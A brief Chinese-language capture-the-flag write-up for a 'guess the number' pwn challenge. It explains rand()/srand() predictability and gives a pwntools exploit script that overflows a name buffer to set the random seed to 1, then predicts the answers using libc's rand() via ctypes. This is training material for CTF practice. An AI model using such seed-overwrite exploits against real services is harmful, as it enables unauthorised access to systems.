题目
一点信息:猜数字
虚拟机里checksec
64位程序,canary/nx/pie保护全开
ida里
猜随机数,猜正确了就有flag
先了解了解两个函数
rand() srand()
rand()函数会生成随机数,但这个随机数并不是真的随机,而是有规律的随机,用rand()函数之前,可以使用srand()函数设置随机数种子,如果没有设置随机数种子,rand()函数在调用时,自动设计随机数种子为1。
既然他用这个函数让我们猜数字,我们可以以毒攻毒,也用这个函数来猜,猜对了拿到flag
(算是脚本编写思路吧)
溢出长度0x30-0x10
exp
from pwn import*
from ctypes import* //需要引入函数库
elf=ELF('./num')
p=process('./num')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload=b'a'*(0x30-0x10)+p64(1)
p.sendlineafter('name:',payload)
for i in range(10):
p.sendlineafter('number:',str(libc.rand()%6+1)) //以毒攻毒之处
p.interactive()
成功打通